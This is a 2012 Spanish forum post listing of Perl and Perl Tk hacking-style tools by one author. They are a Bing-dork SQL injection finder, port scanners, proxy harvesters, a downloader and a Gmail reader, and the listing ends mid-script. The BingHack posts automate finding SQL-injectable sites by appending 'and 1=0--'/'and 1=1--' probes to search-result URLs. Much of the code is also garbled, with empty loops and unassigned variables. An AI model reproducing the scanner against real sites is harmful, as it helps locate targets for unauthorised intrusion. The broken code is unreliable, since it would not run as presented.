|
331
|
Programación / Scripting / [Perl Tk] BingHack Tool 0.1
|
en: 26 Mayo 2012, 16:02 pm
|
Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing. Una imagen El codigo #!usr/bin/perl #BingHack Tool 0.1 #Version Tk #Coded By Doddy H use Tk; use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); my $color_fondo = "black"; my $color_texto = "green"; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $hj = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $hj->geometry("600x285+20+20"); $hj->resizable( 0, 0 ); $hj->title("BingHack Tool 0.1"); $hj->Label( -text => "Dork : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 18, -y => 22 ); my $dork = $hj->Entry( -width => 30, -background => $color_fondo, -foreground => $color_texto )->place( -x => 68, -y => 26 ); $hj->Label( -text => "Pages : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -x => 270, -y => 22 ); my $pages = $hj->Entry( -width => 10, -background => $color_fondo, -foreground => $color_texto )->place( -x => 335, -y => 26 ); $hj->Button( -text => "Search", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -command => \&search )->place( -x => 420, -y => 26 ); $hj->Button( -text => "Logs", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -command => \&logs )->place( -x => 495, -y => 26 ); $hj->Label( -text => "Links Found", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 110, -y => 80 ); my $links = $hj->Listbox( -width => 40, -height => 10, -background => $color_fondo, -foreground => $color_texto )->place( -x => 30, -y => 120 ); $hj->Label( -text => "SQLi Found", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 390, -y => 80 ); my $founds = $hj->Listbox( -width => 40, -height => 10, -background => $color_fondo, -foreground => $color_texto )->place( -x => 310, -y => 120 ); MainLoop; sub search { $links->delete( "0.0", "end" ); $founds->delete( "0.0", "end" ); $hj->update; $hj->title("BingHack Tool 0.1 [+] Status : Searching"); my @urls = bing( $dork->get, $pages->get ); $hj->update; for (@urls) { $hj->update; $links->insert( "end", $_ ); } $hj->title("BingHack Tool 0.1 [+] Status : Scanning"); for my $pa (@urls) { $hj->update; sql($pa); } $hj->update; $hj->title("BingHack Tool 0.1"); } sub logs { my $file = "sql-logs.txt"; if ( -f $file ) { } else { $hj->Dialog( -title => "Error", -buttons => ["OK"], -text => "Logs not found", -background => $color_fondo, -foreground => $color_text, -activebackground => $color_text )->Show(); } } sub sql { my ( $pass1, $pass2 ) = ( "+", "--" ); my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 ); my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 ); unless ( $testar1 eq $testar2 ) { $founds->insert( "end", $page ); savefile( "sql-logs.txt", $page ); } } sub savefile { open( SAVE , ">>" . $_[0] ); } sub bing { my ( $a, $b ) = @_; for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) { $hj->update; my $code = toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages ); while ( $code =~ /<h3><a href="(.*?)"/mig ) { } } my @founds = repes( cortar(@founds) ); } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub cortar { my @nuevo; for (@_) { if ( $_ =~ /=/ ) { @tengo = split( "=", $_ ); push( @nuevo, @tengo[0] . "=" ); } else { } } } sub toma { return $nave->get( $_[0] )->content; } #The End ?
|
|
|
332
|
Programación / Scripting / [Perl] BingHack Tool 0.1
|
en: 26 Mayo 2012, 16:02 pm
|
Un simple script en perl para buscar paginas vulnerables a SQLi usando Bing. El codigo #!usr/bin/perl #BingHack Tool 0.1 #Coded By Doddy H use LWP::UserAgent; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); head(); chomp( my $dork = <stdin> ); chomp( my $pags = <stdin> ); print "\n[+] Searching ...\n"; my @urls = bing( $dork, $pags ); print "\n[+] Pages Found : " . int(@urls) . "\n"; print "\n[+] Scanning ...\n\n"; for my $pa (@urls) { sql($pa); } print "\n[+] Finished\n"; copyright(); sub sql { my ( $pass1, $pass2 ) = ( "+", "--" ); my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 ); my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 ); unless ( $testar1 eq $testar2 ) { print "[+] SQLI : $page\a\n"; savefile( "sql-logs.txt", $page ); } } sub savefile { open( SAVE , ">>" . $_[0] ); } sub bing { my ( $a, $b ) = @_; for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) { my $code = toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages ); while ( $code =~ /<h3><a href="(.*?)"/mig ) { } } my @founds = repes( cortar(@founds) ); } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub cortar { my @nuevo; for (@_) { if ( $_ =~ /=/ ) { @tengo = split( "=", $_ ); push( @nuevo, @tengo[0] . "=" ); } else { } } } sub head { @@@@ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@@ @ @ @@@ @@@ @ @ @ @@@ @@@ @ @@@@ @ @@ @ @ @ @@@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @@@@ @ @ @@@@ @@@ @ @ @ @@@ @@@ @ @ @@@@ ); } sub copyright { print "\n\n-- == (C) Doddy Hackman 2012\n\n"; <stdin>; } sub toma { return $nave->get( $_[0] )->content; } # The End ?
|
|
|
333
|
Programación / Scripting / [Perl Tk] Scan Port 0.6
|
en: 19 Mayo 2012, 17:30 pm
|
Nueva version Tk de un scanner de puertos que hice. Una imagen El codigo #!usr/bin/perl #ScanPort 0.6 #Version Tk #Coded By Doddy H use Tk; use IO::Socket; my $color_fondo = "black"; my $color_texto = "green"; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $kax = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $kax->geometry("422x130+20+20"); $kax->resizable( 0, 0 ); $kax->title("Scan Port 0.6 || Coded By Doddy H"); $kax->Label( -text => "Host : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 20 ); my $hostx = $kax->Entry( -width => 30, -background => $color_fondo, -foreground => $color_texto )->place( -x => 68, -y => 26 ); $kax->Label( -text => "From port : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 50 ); my $startx = $kax->Entry( -width => 8, -background => $color_fondo, -foreground => $color_texto )->place( -x => 100, -y => 55 ); $kax->Label( -text => "To : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 170, -y => 50 ); my $endx = $kax->Entry( -width => 8, -background => $color_fondo, -foreground => $color_texto )->place( -x => 200, -y => 55 ); $kax->Label( -text => "Progress : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 84 ); my $tatus = $kax->Entry( -width => 8, -background => $color_fondo, -foreground => $color_texto )->place( -x => 100, -y => 90 ); $kax->Button( -text => "Fast", -width => 6, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -command => \&scanuno )->place( -x => 158, -y => 88 ); $kax->Button( -text => "Full", -width => 6, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -command => \&scandos )->place( -x => 208, -y => 88 ); $kax->Label( -text => "Port Found", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 305, -y => 20 ); my $porters = $kax->Listbox( -width => 20, -height => 4, -background => $color_fondo, -foreground => $color_texto )->place( -x => 280, -y => 50 ); MainLoop; sub scanuno { my %ports = ( "21" => "ftp", "22" => "ssh", "25" => "smtp", "80" => "http", "110" => "pop3", "3306" => "mysql" ); $porters->delete( "0.0", "end" ); $tatus->configure( -text => " " ); for my $port ( keys %ports ) { $kax->update; $tatus->configure( -text => $port ); if ( new IO::Socket::INET( PeerAddr => $hostx->get, PeerPort => $port, Proto => "tcp", Timeout => 0.5 ) ) { $porters->insert( "end", $port ); } } $tatus->configure( -text => " " ); } sub scandos { $porters->delete( "0.0", "end" ); $tatus->configure( -text => " " ); for my $port ( $startx->get .. $endx->get ) { $kax->update; $tatus->configure( -text => $port ); if ( new IO::Socket::INET( PeerAddr => $hostx->get, PeerPort => $port, Proto => "tcp", Timeout => 0.5 ) ) { $porters->insert( "end", $port ); } } $tatus->configure( -text => " " ); } # The End ?
|
|
|
334
|
Programación / Scripting / [Perl] Scan Port 0.6
|
en: 19 Mayo 2012, 17:30 pm
|
Un simple scanner port hecho en Perl. #!usr/bin/perl #ScanPort 0.6 #Coded By Doddy H #Examples #perl scan.pl -target localhost -option fast #perl scan.pl -target localhost -option full -parameters 1-100 use IO::Socket; use Getopt::Long; GetOptions( "-target=s" => \$target, "-option=s" => \$opcion, "-parameters=s" => \$parameters ); head(); unless ($target) { sintax(); } else { if ( $opcion eq "fast" ) { scanuno($target); } if ( $opcion eq "full" and $parameters ) { if ( $parameters =~ /(.*)-(.*)/ ) { my $start = $1; my $end = $2; scandos( $target, $start, $end ); } } } copyright(); sub scanuno { my %ports = ( "21" => "ftp", "22" => "ssh", "25" => "smtp", "80" => "http", "110" => "pop3", "3306" => "mysql" ); print "\n[+] Scanning $_[0]\n\n\n"; for my $port ( keys %ports ) { if ( new IO::Socket::INET( PeerAddr => $_[0], PeerPort => $port, Proto => "tcp", Timeout => 0.5 ) ) { print "[+] Port Found : " . $port . " [Service] : " . $ports{$port} . "\n"; } } print "\n\n[+] Scan Finished\n"; } sub scandos { print "\n[+] Scanning $_[0]\n\n\n"; for my $port ( $_[1] .. $_[2] ) { if ( new IO::Socket::INET( PeerAddr => $_[0], PeerPort => $port, Proto => "tcp", Timeout => 0.5 ) ) { print "[+] Port Found : $port\n"; } } print "\n\n[+] Scan Finished\n"; } sub head { print "\n-- == ScanPort 0.6 == --\n\n"; } sub copyright { print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n"; } sub sintax { "\n[+] sintax : $0 -target <target> -option fast/full -parameters <1-9999>\n"; } # The End ?
|
|
|
335
|
Programación / Scripting / [Perl Tk] Proxy Tester 0.5
|
en: 12 Mayo 2012, 20:52 pm
|
Version Tk de un programa para buscar proxies de forma online. Una imagen El codigo #!usr/bin/perl #Proxy Tester 0.5 #Version Tk #Coded By Doddy H use Cwd; use Tk; use Tk::FileSelect; use Tk::Dialog; use LWP::UserAgent; my $nave = LWP::UserAgent->new(); $nave->timeout(5); $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); #if ($^O eq 'MSWin32') { #use Win32::Console; #Win32::Console::Free(); #} my $color_texto = "green"; my $color_fondo = "black"; my $newd = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $newd->title("Proxy Tester 0.5"); $newd->geometry("370x250+50+50"); $newd->resizable( 0, 0 ); $menula = $newd->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowax = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowax = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowax = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowax->command( -label => "Load Wordlist", -background => $color_fondo, -foreground => $color_texto, -command => \&loadword ); $menulnowax->command( -label => "Check Online", -background => $color_fondo, -foreground => $color_texto, -command => \&scan ); $menulnowax->command( -label => "Open Logs", -background => $color_fondo, -foreground => $color_texto, -command => \&openlogs ); $aboutnowax->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&aboutxa ); $exitnowax->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnow ); $newd->Label( -text => "Proxy OK", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 75 ); my $proxy_buenos = $newd->Listbox( -background => $color_fondo, -foreground => $color_texto ) ->place( -y => "80", -x => "40" ); $newd->Label( -text => "Proxy Failed", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -y => 40, -x => 220 ); my $proxy_malos = $newd->Listbox( -background => $color_fondo, -foreground => $color_texto ) ->place( -y => "80", -x => "200" ); MainLoop; sub openlogs { my $f = "proxy-founds.txt"; if ( -f $f ) { } else { $newd->Dialog( -title => "Error", -buttons => ["OK"], -text => "File Not Found", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } sub loadword { my $newdax = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $newdax->title("Load Wordlist"); $newdax->geometry("460x50+50+50"); $newdax->resizable( 0, 0 ); $newdax->Label( -text => "File : ", -font => "Impact1", -background => $color_fondo, -foreground => $color_texto )->place( -y => 10, -x => 10 ); my $filex = $newdax->Entry( -width => 40, -background => $color_fondo, -foreground => $color_texto )->place( -y => 13, -x => 50 ); $newdax->Button( -text => "Browse", -width => 10, -command => \&bro, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -y => 13, -x => 300 ); $newdax->Button( -text => "Load", -width => 10, -command => \&pasouno, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -y => 13, -x => 375 ); sub bro { $newd->update; $browse = $newd->FileSelect( -directory => getcwd() ); my $file = $browse->Show; $filex->configure( -text => $file ); } sub pasouno { my $file = $filex->get; $newdax->destroy(); if ( -f $file ) { my @words = <FILE>; my @proxies = repes(@words); $proxy_buenos->delete( 0.0, "end" ); $proxy_malos->delete( 0.0, "end" ); $newd->title("Proxy Tester 0.5 [+] Status : Testing ..."); for my $pro (@proxies) { $newd->update; if ( testnow($pro) ) { $proxy_buenos->insert( "end", $pro ); } else { $proxy_malos->insert( "end", $pro ); } } } else { $newd->Dialog( -title => "Error", -buttons => ["OK"], -text => "File Not Found", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } $newd->title("Proxy Tester 0.5"); } sub scan { $proxy_buenos->delete( 0.0, "end" ); $proxy_malos->delete( 0.0, "end" ); $newd->title("Proxy Tester 0.5 [+] Status : Searching ..."); my @uno = getproxys(); my @dos = getxroxy(); #my @tres = proxyip(); #my @cuatro = proxylist(); #my @cinco = proxies(); #big list my @total = ( @uno, @dos, @tres, @cuatro, @cinco ); $newd->update; $newd->title("Proxy Tester 0.5 [+] Status : Testing ..."); my $cont = "0"; for (@total) { $newd->update; if ( testnow($_) ) { $cont++; } } $newd->title("Proxy Tester 0.5"); } sub testnow { my $pro; my $host; my $port; my $country; my $save; my $test_proxy = LWP::UserAgent->new(); $test_proxy->timeout(5); $test_proxy->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); if ( $ver =~ /(.*):(.*)/ ) { ( $host, $port, $country ) = ( $1, $2, "Unknown" ); $save = $host . ":" . $port; } if ( $ver =~ /(.*):(.*):(.*)/ ) { ( $host, $port, $country ) = ( $1, $2, $3 ); $save = $host . ":" . $port . ":" . $country; } my $pro = $host . ":" . $port; $test_proxy->proxy( "http", "http://" . $pro ); my $code = $test_proxy->get("http://www.whatismyip.com/")->content; if ( $code =~ /Your IP Address Is/ ) { savefile( "proxy-founds.txt", $save ); } } sub getproxys { my @founds; my @volver; for my $num ( 1 .. 5 ) { $newd->update; my $code = toma( "http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num" ); while ( $code =~ /<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig ) { my $porcion = $1; if ( my @total = $porcion =~ m{<\ s*td\ s*>\ s*(.*?)\ s*</\ s*td}mig ) { push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] ); } } } my @volver = repes(@founds); } sub getxroxy { my @founds_final; my @founds; for my $num ( 0 .. 26 ) { $newd->update; open( FILE , ">>proxy.txt" ); my $code = toma( "http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num" ); while ( $code =~ /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)¬es=(.*?)&/sig ) { my ( $ip, $port, $pais ) = ( $1, $2, $3 ); $port =~ s/&isSocks=true//sig; $port =~ s/&socksversion=4a//sig; push( @founds, "$ip:$port:$pais" ); print FILE "$ip:$port\n"; } } my @founds_final = repes(@founds); } sub proxies { my @founds_final; my @founds; for my $i ( 1 .. 10 ) { $newd->update; my $code = toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" ); my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g; for (@found) { push( @founds, "$_:Unknown" ); } } my @founds_final = repes(@founds); } sub proxyip { my @founds_final; my @founds; my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html"); if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) { my $codedos = $1; while ( $codedos =~ /<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig ) { my ( $ip, $pais ) = ( $1, $5 ); push( @founds, "$ip:$pais" ); } } my @founds_final = repes(@founds); } sub proxylist { my @founds_final; my @founds; my $code = toma("http://www.proxylist.net/"); while ( $code =~ /<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig ) { my ( $ip, $pais ) = ( $2, $4 ); push( @founds, "$ip:$pais" ); } my @founds_final = repes(@founds); } sub aboutxa { $newd->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub savefile { open( SAVE , ">>" . $_[0] ); } sub toma { return $nave->get( $_[0] )->content; } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } #The End ?
|
|
|
336
|
Programación / Scripting / [Perl] Proxy Tester 0.5
|
en: 12 Mayo 2012, 20:51 pm
|
Version mejorada de un programa para buscar proxies de forma online para despues verificar el estado de cada uno. El codigo #!usr/bin/perl #Proxy Tester 0.5 #Coded By Doddy H use LWP::UserAgent; my $nave = LWP::UserAgent->new(); $nave->timeout(5); $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); while (1) { head(); chomp( my $op = <stdin> ); if ( $op eq "1" ) { chomp( my $file = <stdin> ); if ( -f $file ) { print "\n[+] Opening file ...\n\n"; my @words = <FILE>; my @proxies = repes(@words); print "[+] Proxies Found : " . int(@proxies) . "\n"; print "\n[+] Testing ....\n\n"; my $cont = "0"; for (@proxies) { if ( testnow($_) ) { $cont++; } } print "\n[+] Proxies Found : " . $cont . "\n"; print "\n\n[+] Finished\n\n"; <stdin>; } else { print "\n\n[-] File not found\n"; copyright(); } } if ( $op eq "2" ) { print "\n\n[+] Getting proxies ...\n\n"; my @uno = getproxys(); my @dos = getxroxy(); my @tres = proxyip(); my @cuatro = proxylist(); my @cinco = proxies(); #big list my @total = ( @uno, @dos, @tres, @cuatro, @cinco ); print "[+] Proxies Found : " . int(@total) . "\n"; print "\n[+] Testing .....\n\n"; my $cont = "0"; for (@total) { if ( testnow($_) ) { $cont++; } } print "\n[+] Proxies Found : " . $cont . "\n"; print "\n\n[+] Finished\n\n"; <stdin>; } if ( $op eq "3" ) { copyright(); } } copyright(); sub testnow { my $pro; my $host; my $port; my $country; my $save; my $test_proxy = LWP::UserAgent->new(); $test_proxy->timeout(5); $test_proxy->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); if ( $ver =~ /(.*):(.*)/ ) { ( $host, $port, $country ) = ( $1, $2, "Unknown" ); $save = $host . ":" . $port; } if ( $ver =~ /(.*):(.*):(.*)/ ) { ( $host, $port, $country ) = ( $1, $2, $3 ); $save = $host . ":" . $port . ":" . $country; } my $pro = $host . ":" . $port; $test_proxy->proxy( "http", "http://" . $pro ); my $code = $test_proxy->get("http://www.whatismyip.com/")->content; if ( $code =~ /Your IP Address Is/ ) { print "[+] IP : $host\n"; print "[+] Port : $port\n"; print "[+] Country : $country\n\n"; savefile( "proxy-founds.txt", $save ); } } sub getproxys { my @founds; my @volver; for my $num ( 1 .. 5 ) { my $code = toma( "http://www.proxys.com.ar/index.php?act=list&port=&type=&country=&page=$num" ); while ( $code =~ /<tr class="cells" onmouseover="this.className='cells2'" onmouseout="this.className='cells'">(.*?)<\/tr>/sig ) { my $porcion = $1; if ( my @total = $porcion =~ m{<\ s*td\ s*>\ s*(.*?)\ s*</\ s*td}mig ) { push( @founds, $total[1] . ":" . $total[2] . ":" . $total[4] ); } } } my @volver = repes(@founds); } sub getxroxy { my @founds_final; my @founds; for my $num ( 0 .. 26 ) { open( FILE , ">>proxy.txt" ); my $code = toma( "http://www.xroxy.com/proxylist.php?port=&type=&ssl=&country=&latency=1000&reliability=&sort=reliability&desc=true&pnum=$num" ); while ( $code =~ /proxy:name=XROXY proxy&host=(.*?)&port=(.*?)¬es=(.*?)&/sig ) { my ( $ip, $port, $pais ) = ( $1, $2, $3 ); $port =~ s/&isSocks=true//sig; $port =~ s/&socksversion=4a//sig; push( @founds, "$ip:$port:$pais" ); print FILE "$ip:$port\n"; } } my @founds_final = repes(@founds); } sub proxies { my @founds_final; my @founds; for my $i ( 1 .. 10 ) { my $code = toma( "http://proxies.my-proxy.com/proxy-list-" . $i . ".html" ); my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g; for (@found) { push( @founds, "$_:Unknown" ); } } my @founds_final = repes(@founds); } sub proxyip { my @founds_final; my @founds; my $code = toma("http://proxy-ip-list.com/free-usa-proxy-ip.html"); if ( $code =~ /<tbody class="table_body">(.*?)<\/table>/sig ) { my $codedos = $1; while ( $codedos =~ /<tr><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><td>(.*?)<\/td><\/tr>/mig ) { my ( $ip, $pais ) = ( $1, $5 ); push( @founds, "$ip:$pais" ); } } my @founds_final = repes(@founds); } sub proxylist { my @founds_final; my @founds; my $code = toma("http://www.proxylist.net/"); while ( $code =~ /<tr><td><a href="(.*?)">(.*?)<\/a><\/td><td><a href="(.*?)">(.*?)<\/a><\/td>/mig ) { my ( $ip, $pais ) = ( $2, $4 ); push( @founds, "$ip:$pais" ); } my @founds_final = repes(@founds); } sub head { @@@@@ @@@@@ @ @ @ @ @ @ @ @ @ @ @@ @@@ @ @ @ @ @ @@@ @@ @@ @@@ @@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @@@@@ @ @ @@@@@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@@ @ @ @ @ @@@ @@ @ @@@ @ @ @@ [++] Options [+] 1 : Load wordlist [+] 2 : Check Online [+] 3 : Exit ); } sub copyright { print "\n\n(C) Doddy Hackman 2012\n\n"; <stdin>; } sub savefile { open( SAVE , ">>" . $_[0] ); } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub toma { return $nave->get( $_[0] )->content; } #The End ?
|
|
|
337
|
Programación / Scripting / [Perl Tk] Simple Downloader 0.1
|
en: 6 Mayo 2012, 02:08 am
|
Version Tk de un simple programa en Perl para bajar archivos. Una imagen El codigo #!usr/bin/perl #Simple downloader 0.1 #Version Tk #Coded By Doddy H use Tk; use Tk::Dialog; use LWP::UserAgent; use URI ::Split qw(uri_split ); my $color_fondo = "black"; my $color_texto = "green"; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(20); if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $dron = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $dron->geometry("430x70+20+20"); $dron->resizable( 0, 0 ); $dron->title("Simple Downloader 0.1 || [+] Status : <None>"); $dron->Label( -text => "URL : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 20 ); my $pre = $dron->Entry( -width => 45, -background => $color_fondo, -foreground => $color_texto )->place( -x => 60, -y => 27 ); $dron->Button( -command => \&now, -text => "Download", -width => 10, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->place( -x => 340, -y => 25 ); MainLoop; sub now { my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $pre->get ); $dron->title("Simple Downloader 0.1 || [+] Status : Downloading.."); if ( $path =~ /(.*)\/(.*)$/ ) { my $file = $2; if ( download( $pre->get, $file ) ) { $dron->Dialog( -title => "OK", -buttons => ["OK"], -text => "File downloaded", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } else { $dron->Dialog( -title => "Error", -buttons => ["OK"], -text => "Error", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } } $dron->title("Simple Downloader 0.1 || [+] Status : <None>"); } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } #The End ?
|
|
|
338
|
Programación / Scripting / [Perl] Simple Downloader 0.1
|
en: 6 Mayo 2012, 02:08 am
|
Un simple script en perl para bajar archivos. #!usr/bin/perl #Simple downloader 0.1 #Coded By Doddy H use LWP::UserAgent; use URI ::Split qw(uri_split ); my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(20); head(); unless ( $ARGV[0] ) { sintax(); } else { now( $ARGV[0] ); } copyright(); sub now { my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] ); if ( $path =~ /(.*)\/(.*)$/ ) { my $file = $2; print "\n[+] Downloading ....\n"; if ( download( $_[0], $file ) ) { print "\n[+] File downloaded\n"; } else { } } } sub sintax { print "\n[+] Sintax : $0 <url>\n"; } sub head { print "\n-- == Simple Downloader == --\n\n"; } sub copyright { print "\n\n(C) Doddy Hackman 2012\n\n"; } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } #The End ?
|
|
|
339
|
Programación / Scripting / [Perl Tk] Gmail Inbox 0.1
|
en: 28 Abril 2012, 16:50 pm
|
Un simple programa en Perl para leer el correo usando Gmail. Una imagen El codigo #!usr/bin/perl #Gmail Inbox 0.1 #Version Tk #Coded By Doddy H #Modules #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm use Tk; use Tk::HList; use Tk::ROText; use GMail::Checker; use HTML::Strip; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } my $yeahfucktk = MainWindow->new(); $yeahfucktk->title( "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>"); $yeahfucktk->geometry("870x220+20+20"); $yeahfucktk->resizable( 0, 0 ); my $agen = $yeahfucktk->Scrolled( HList, -columns => 4, -header => 1, -width => 80, -scrollbars => "se" )->place( -x => 20, -y => 20 ); $agen->headerCreate( 0, -text => "ID" ); $agen->headerCreate( 1, -text => "From" ); $agen->headerCreate( 2, -text => "Subject" ); $agen->headerCreate( 3, -text => "Date" ); $agen->bind( "<Double-1>", [ \&yeah ] ); $yeahfucktk->Label( -text => "Gmail Login", -font => "Impact" ) ->place( -x => 650, -y => 20 ); $yeahfucktk->Label( -text => "Username : ", -font => "Impact1" ) ->place( -x => 565, -y => 68 ); my $username = $yeahfucktk->Entry( -width => 30 )->place( -x => 653, -y => 73 ); $yeahfucktk->Label( -text => "Password : ", -font => "Impact1" ) ->place( -x => 565, -y => 100 ); my $password = $yeahfucktk->Entry( -width => 30, -show => "*" ) ->place( -x => 653, -y => 103 ); $yeahfucktk->Button( -text => "Messages list", -width => 20, -command => \&startnow )->place( -x => 640, -y => 150 ); MainLoop; sub startnow { $agen->delete( "all", 0 ); my $total = total( $username->get, $password->get ); $yeahfucktk->title( "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found" ); $yeahfucktk->update; $yeahfucktk->title( "Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_" ); my ( $from, $asunto, $date ) = getdata( $username->get, $password->get, $_ ); $agen->add($_); $agen->itemCreate( $_, 0, -text => $_ ); $agen->itemCreate( $_, 1, -text => $from ); $agen->itemCreate( $_, 2, -text => $asunto ); $agen->itemCreate( $_, 3, -text => $date ); } $yeahfucktk->title( 